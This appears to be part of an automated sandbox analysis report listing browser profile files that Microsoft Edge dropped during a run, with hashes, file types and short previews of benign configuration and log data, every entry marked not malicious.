Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3a5e6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c309e712-e191-406c-8630-ba8149bb0e31.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d0609f8c-9c26-40e0-a041-b20c69ee143a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ef8f3fbd-a83c-4655-ab15-fc034e7a3e67.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.200372476653805
Encrypted:	false
SSDEEP:	6:H2PIq2P923oH+TcwtzjqEKj0QMxIFUt8Y20Zmw+Y2dFkwO923oH+TcwtzjqEKj0b:EIv4YebvqBZFUt8W/+PF5LYebvqBaJ
MD5:	9CC70D2DF81610873FDA8FC3A590B728
SHA1:	3FB4B053D592BD1E11880A0D22D614F511B7D2DF
SHA-256:	13F01FB622D1A4DCD1CDF597FA9B40D9535EB89FF0CA6DA3A96A1B3AA6A89A06
SHA-512:	156497BE60A1F99ABD3F8D67EEE4602EC11716D16C53244909B5C6C86BFB342F6FA063C02FAB9C935F81CF9F5932DFB2012014F3DDA759468EC62FCEEB1A3AD9
Malicious:	false
Preview:	2024/11/09-16:09:52.191 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/09-16:09:52.192 1c90 Recovering log #3.2024/11/09-16:09:52.199 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.200372476653805
Encrypted:	false
SSDEEP:	6:H2PIq2P923oH+TcwtzjqEKj0QMxIFUt8Y20Zmw+Y2dFkwO923oH+TcwtzjqEKj0b:EIv4YebvqBZFUt8W/+PF5LYebvqBaJ
MD5:	9CC70D2DF81610873FDA8FC3A590B728
SHA1:	3FB4B053D592BD1E11880A0D22D614F511B7D2DF
SHA-256:	13F01FB622D1A4DCD1CDF597FA9B40D9535EB89FF0CA6DA3A96A1B3AA6A89A06
SHA-512:	156497BE60A1F99ABD3F8D67EEE4602EC11716D16C53244909B5C6C86BFB342F6FA063C02FAB9C935F81CF9F5932DFB2012014F3DDA759468EC62FCEEB1A3AD9
Malicious:	false
Preview:	2024/11/09-16:09:52.191 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/09-16:09:52.192 1c90 Recovering log #3.2024/11/09-16:09:52.199 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.176736873322561
Encrypted:	false
SSDEEP:	6:H28RFXL+q2P923oH+TcwtpIFUt8Y28KKWZmw+Y28cLVkwO923oH+Tcwta/WLJ:LhL+v4YebmFUt8OW/+tLV5LYebaUJ
MD5:	33832F36C54CC38A70756F20A3FDDBEE
SHA1:	49F88A114A3CBD93D107D2428CD09636B8390DF9
SHA-256:	3C4EFBB97F251A6053627521CB00ACB4DE219248D2C7175FB8FAB5D4C758515C
SHA-512:	692A2B055E49A9D089717D3F6D2B28651F8ADE8B076948CB49B6C02EC28CD3F2EE3458C57611E05D47199FBB227AC1E188481A85A52EDF4C913D17505EEE88E6
Malicious:	false
Preview:	2024/11/09-16:09:33.604 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/09-16:09:33.605 1e3c Recovering log #3.2024/11/09-16:09:33.605 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.176736873322561
Encrypted:	false
SSDEEP:	6:H28RFXL+q2P923oH+TcwtpIFUt8Y28KKWZmw+Y28cLVkwO923oH+Tcwta/WLJ:LhL+v4YebmFUt8OW/+tLV5LYebaUJ
MD5:	33832F36C54CC38A70756F20A3FDDBEE
SHA1:	49F88A114A3CBD93D107D2428CD09636B8390DF9
SHA-256:	3C4EFBB97F251A6053627521CB00ACB4DE219248D2C7175FB8FAB5D4C758515C
SHA-512:	692A2B055E49A9D089717D3F6D2B28651F8ADE8B076948CB49B6C02EC28CD3F2EE3458C57611E05D47199FBB227AC1E188481A85A52EDF4C913D17505EEE88E6
Malicious:	false
Preview:	2024/11/09-16:09:33.604 1e3c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/09-16:09:33.605 1e3c Recovering log #3.2024/11/09-16:09:33.605 1e3c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2649945586008255
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMHSAELyKOMq+8yC8F/YfU5m+OlTLVum9:Bq+n0JH9ELyKOMq+8y9/Owm
MD5:	A3BB1F1F79E2F937C644332364B641FE
SHA1:	CC9D7FF4A3BDB2DDA8DAF21877512DDDBE473FBE
SHA-256:	88B682667DC73222F6177E205C7A10928E2A29723055814CC7D639A05269220A
SHA-512:	A3EED1B5DEC66016706630A608E5EE02C43A78CAE49664706C1C3A1B4F352C90CFA3A2BD4AB67127C30DCB2D12EEF2AE06B8B83F5DBBD120A9EC6E799F5DA0CE
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46648698662462806
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0SR:v7doKsKuKZKlZNmu46yjx0o
MD5:	99B042727CC7968FC22EC3A686F078DD
SHA1:	23F84ABBF4C5DED6A2C17498BFACE2567468AD97
SHA-256:	A4C016FF11A5E4523275FC63216605B92C43BDA17502574FB2D0C9EC6AF089B2
SHA-512:	46A976242974456E7485E5488179A400480EDE3DC13C2EFFBB8D3BE1A0293AC53C65D7BEA91C0EBB6F215FCB957F17749018DE89D7FE8D5D26E6E33DA2BF33BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c0137d52-38b5-4ce5-bc27-c778d9704e7a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.555219673770001
Encrypted:	false
SSDEEP:	768:tXZB977pLGLpaMWPJlfT88F1+UoAYDCx9Tuqh0VfUC9xbog/OVNbxgfrwJYtzoqo:tXZB9NcpaMWPJlfT8u1jagVgsJ4zBmtx
MD5:	AA68A6D7CDFEF0DB53AE80C029B3A6B1
SHA1:	A366494F6DA59CCE885FCD3C176EC7CC8D7F0C50
SHA-256:	9667A360785B416C0005B902F817AD3251F59D6B65889CD5C2F29082BA2BC1B3
SHA-512:	1440037D7C124BE3D618F61CFB31A8D9BA995A9C2CBC90B45EC51A3852A90E54C23E9C641C6F86D067AFA3F2FB0F2F853B47261B4E942434DA74FCFDC53688DC
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375660173595742","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375660173595742","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c49c7545-4f07-4bb2-8f9f-8d0e2f414cf0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17501), with no line terminators
Category:	modified
Size (bytes):	17502
Entropy (8bit):	5.474841041418599
Encrypted:	false
SSDEEP:	384:stZPGQSu4As5ofhITY2xWxfUbGiqQwJ6WrlaTYJ:sPOXumofcYBUbG8etaTYJ
MD5:	F817E5A80428A7B419F85292F811A30E
SHA1:	244F0CBF61E0903A1439301B7EE67EF5922044DA
SHA-256:	17E6C3EF609D58E3C851A47428A5C291320093F9478982D8FA6B3BE0B1F15C25
SHA-512:	C7B10AE01E3AB33C5D7BA1EF62F46EF5751651FE6D6D5F67AE5F2451847D2ACD90D885D638C693FA4D311B1ECD470F8CDDF127AEB8851D3F7564EA611C962082
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375660174171440","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e778e49a-692b-428e-b7b2-57a838b03a6d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10556506315871368
Encrypted:	false
SSDEEP:	12:Jnttuf1nttufROpEjVl/PnnnnnnnnnnnnvoQJEopmMl:Jntt41ntt4R+oPnnnnnnnnnnnnvjj9l
MD5:	B3352C5554B2BE175197840D57DAECB5
SHA1:	ED1B139ABCA83E35FB1E2C4191496ADBC2071910
SHA-256:	176E72257F5DC33735EF35F3702EAC228A6CDA9280790B214E98C40C1888B9AB
SHA-512:	FF83A24324004CEC2E5AE615EDFBC5A69313C7B01833662B7B800E5F3544AC3A77586FFA9C6FD4A6D0DD5232BA8D794A8A0FE86B0BC8172534A3EAE5C71C9DC1
Malicious:	false
Preview:	..-.............Q.......H..p.....4..}..Y..I..)...-.............Q.......H..p.....4..}..Y..I..).........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9347227716528976
Encrypted:	false
SSDEEP:	384:G2EkywJ1yY2r7zrBorGPrVdrGTrDV1MrDbv8wy+yY9Mrv4v84y5ylGyYxyvJ:4TyArA0Kj4
MD5:	4F304EEC689071729765F37B42C574CE
SHA1:	C5D864EEDEF61B775635DC27E1E6706D9639D938
SHA-256:	C450E7ACA7C85AA7F748F435D4A0517893F097830699AA07812F4B6DF721657A
SHA-512:	B154817D99586F6BBB6B81D6AA32E178504888B476DCB0F242E68EDF4F2E5BE0CD21DF0DF31B1D5FCD4A66166CE2F6F53A2038CB53293B30F417D3B6D6C0DE26
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	694
Entropy (8bit):	3.5369188128297933
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuusUllnl8U:iDklT
MD5:	286E398650B4F42BF1B05B47156C605C
SHA1:	EE8A3B36D89902E2B0DCC461BA0305A3665C57E4
SHA-256:	86D9931CC4E93F3E28D7E7FBD2F377914A8BE8D7B71789715CA408B1B6942542
SHA-512:	AF7B1AF5F643F7DD3508FEFF4DA1A3E02A25CED43104F8C387A2D6AE623A004ED8BF0CA7E0B2DAB28F323CEF01B4FEAC02283C48DA2CE9EE0074B085A83D80A2
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............'..;...............#38_h.......6.Z..W.F.....@`......@`...........V.e....................0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
